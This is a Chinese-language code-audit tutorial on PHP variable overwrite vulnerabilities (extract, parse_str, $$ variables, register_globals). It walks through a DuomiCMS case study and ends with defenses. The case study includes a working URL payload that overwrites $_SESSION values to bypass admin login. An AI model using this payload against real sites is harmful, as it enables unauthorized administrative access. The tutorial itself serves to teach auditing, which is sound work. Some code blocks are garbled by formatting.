通过代码审计去学习变量覆盖
字数 1444 2025-08-15 21:31:19
变量覆盖漏洞代码审计与利用详解
一、变量覆盖漏洞概述
变量覆盖漏洞是指攻击者可以通过某些方式使用自定义的变量值覆盖源代码中的变量,从而修改程序运行逻辑的安全漏洞。这类漏洞与其他漏洞结合后危害较大,例如:
- 商品支付系统中可能导致0元支付下单
- 管理员后台登录绕过
- 权限提升等
二、导致变量覆盖的主要函数和机制
1. extract() 函数
语法:extract(array, extract_rules, prefix)
危险参数:
EXTR_OVERWRITE(默认):如果有冲突,覆盖已有变量
示例代码:
$user = 'user';
echo "欢迎用户 $user !<br>";
$admin = array('user' => 'admin');
extract($admin);
echo "欢迎管理员 $user";
漏洞原理:当数组键名与已有变量名相同时,默认行为会覆盖原变量值。
2. parse_str() 函数
危险用法:未设置array参数时,函数设置的变量会覆盖已存在的同名变量。
示例代码:
$username = 'user';
print_r('执行函数覆盖之前:$username =' . $username . "<br>");
parse_str("username=admin");
print_r('执行函数覆盖之后:$username =' . $username);
3. import_request_variables() 函数
参数说明:
- type参数指定变量来源:P=POST, G=GET, C=COOKIE
- 优先级从左到右,如"GPC"表示GET覆盖POST,POST覆盖COOKIE
4.
\[(双美元符)变量 **示例代码**: ```php $a = 'b'; $b = 'admin'; echo \]
a; // 输出admin
**漏洞原理**:通过变量间接引用可能导致变量被覆盖。
### 5. register_globals(PHP 5.4后移除)
当register_globals=On时,PHP会自动将GET、POST等参数注册为全局变量,极易导致变量覆盖。
## 三、实战案例分析:DuomiCMS变量覆盖漏洞
### 1. 漏洞位置
`upload/duomiphp/common.php`
### 2. 关键漏洞代码分析
```php
foreach(array('_GET','_POST','_COOKIE') as $_request) {
foreach(
$$
_request as $_k => $_v) {
${$_k} = $_v;
}
}
执行流程:
- 第一层foreach遍历GET、POST、COOKIE
- 第二层foreach进行键值分离
- 通过
${$_k} = $_v实现变量覆盖
3. 绕过安全限制
存在以下安全检查:
foreach($_REQUEST as $_k => $_v) {
if(strlen($_k) > 0 && m_eregi('^(cfg_|GLOBALS)', $_k) && !isset($_COOKIE[$_k])) {
exit('Request var not allow!');
}
}
绕过条件(满足其一即可):
- 键名为空(不可行)
- 键名不匹配正则
^(cfg_|GLOBALS) - 存在对应的COOKIE值
4. 利用步骤
-
找到包含common.php的文件:
login.php包含了common.php -
定位session验证文件:
check.admin.php -
构造session覆盖:
- 需要覆盖的session变量:
duomi_group_id(权限,1为管理员)duomi_admin_id(用户ID)duomi_admin_name(用户名)
- 需要覆盖的session变量:
-
payload构造:
interface/comment.php?_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_id]=1&_SESSION[duomi_admin_name]=admin
- 访问流程:
- 访问上述URL(可能报错但session已设置)
- 直接访问后台页面即可获得管理员权限
四、防御措施
-
避免使用危险函数:
- 使用extract()时明确指定
EXTR_SKIP或EXTR_PREFIX_ALL - parse_str()必须使用array参数
- 避免使用import_request_variables()
- 使用extract()时明确指定
-
变量初始化:
- 所有变量使用前先初始化
- 重要变量声明为常量
-
输入过滤:
- 对用户输入进行严格过滤
- 使用白名单机制
-
关闭危险配置:
- 确保register_globals=Off
-
代码审计:
- 定期审计代码中的变量使用情况
- 特别注意`
\[`和extract()等用法 ## 五、总结 变量覆盖漏洞是PHP应用中常见的高危漏洞,通过本文分析的几种典型场景和实战案例,开发者应提高安全意识,在代码编写和审计过程中特别注意变量处理逻辑,采取适当的防御措施,避免此类安全问题的发生。\]